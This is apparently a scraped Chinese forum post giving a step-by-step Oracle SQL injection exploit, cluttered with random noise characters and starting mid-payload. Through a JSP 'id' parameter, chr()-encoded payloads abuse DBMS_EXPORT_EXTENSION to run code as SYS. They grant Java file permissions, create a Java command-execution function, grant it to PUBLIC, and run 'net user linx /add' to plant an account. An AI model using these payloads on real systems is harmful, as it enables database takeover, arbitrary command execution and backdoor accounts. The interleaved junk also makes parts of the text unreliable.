% _3 q, X m( e/ ~$ k8 ~5 o" Nchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||$ N, V- G; q) s& P: }
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||
5 r, S# o- ^( F7 @' ^chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
2 q/ @: E, }5 \1 O/ o' d! \" h,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual9 {* g T; \" w* o7 p# Y
2 K5 V$ ^7 |# g' x. R7 T)
z: {- G( g1 x3 X% s2 i4 S+ {7 c8 F6 u$ c3 B2 v% S
------------------------------
7 _7 G1 F' d) ~# w( K6 Y% | z* _9 Y6 j, g8 C! x6 k- u0 {. H" b
2.赋Java权限9 p/ m( _) e. T2 v E; w
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
0 p, o3 e/ _; W1 d! U5 [. M" d: c" ^; @, x% z! O! a5 v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
5 A- Z) O6 m% Wchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||& P9 ~* V; E i/ [8 T
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
0 t6 r) ?+ _5 I, X x& v0 X" Wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
. h4 q r) m4 |: n9 h! S+ Nchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
7 @" C4 ^: ^1 f' k% echr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||2 b) G6 K E, ^8 m
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||2 D) |2 K) h/ t: [1 m7 e5 a2 O4 `& G
chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||* `( V8 u2 G# J& D
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
4 F! ]# {) N% D( D* F! I$ V/ M6 tchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)0 }9 j0 r8 Q3 c. ^+ D. b( O
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 l! K _$ k" N+ Y& `5 n; @; I9 j5 X0 C
)+ w8 l) `' D# s7 R D- j
+ P/ d$ L4 o1 {6 R1 t4 Greadfile函数的ascii版就不写了,见谅。
& u6 ]1 G0 u( t# H$ l! ~% {0 q% }2 S B, m
3.创建函数* {- E6 e/ \, O9 G
9 ~5 o, _- v3 P Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
) r; k: s M+ N: {. u9 S" z7 }chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
5 M6 r: M7 p h; Hchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||- N3 J' W" H! o1 P) i, U" E/ c/ v
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||% n4 M9 b; P3 o4 K
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||4 D+ M/ a2 W) |
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||5 @9 ~$ [* T/ F M2 A
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||4 S3 U% F/ z+ u0 J2 a
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||9 n V/ w9 }5 K+ B7 }/ E
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
4 o1 l- Z. M0 w1 O/ x- ]: ~& Lchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||) t5 V, C/ P9 f- j
chr(59)||chr(45)||chr(45)+ h& T) O8 W8 c6 I
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual: l- T4 E2 ]! I* M
/ L" {8 Y6 y# P/ c5 [ j
5 F: a# a' ^8 n: n$ _1 i+ \4 p9 J+ z1 X/ g
4.赋public执行函数的权限
+ y- K/ P/ s% i" b% L0 p" m) b+ D( q6 V; f7 l2 E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& ?# |0 T' b6 fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||* t. J( {9 z6 _! K
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
' \5 t L+ j6 P% G w2 Echr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||4 C& ^/ _+ p' a m" \
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||/ f2 \1 d3 Z; x @
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||2 q4 o4 t% ^, s
chr(59)||chr(45)||chr(45)
& r7 {5 F3 U2 @) x4 Y,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
$ _7 `( f. q6 |" Z2 T1 ]$ _
9 W$ g/ c. o6 R$ V1 s4 T8 S6 L* {
* n% i/ ^0 c5 B& o* c/ ?
$ K- [/ I( ?% [, O; ]0 ?3 r8 T$ F5.执行命令:7 I( L) v' i5 V* s1 V
( B7 j, U- y+ c/xxx.jsp?id=1 and chr(49)<>chr(32)||(: M) y; h0 D+ _; s- D
select sys.LinxRunCMD('cmd /c net user linx /add') from dual0 G4 k' _% _( b! ^+ f
) d2 n% M+ k* i2 k
, G" R. ~$ U8 I
即
3 c3 \) n( G) e: g2 A/xxx.jsp?id=1 and chr(49)<>chr(32)||(
}' U. H0 i$ o T7 H4 sselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual, K0 F7 ?$ z i
); J$ Z/ R7 q1 }
|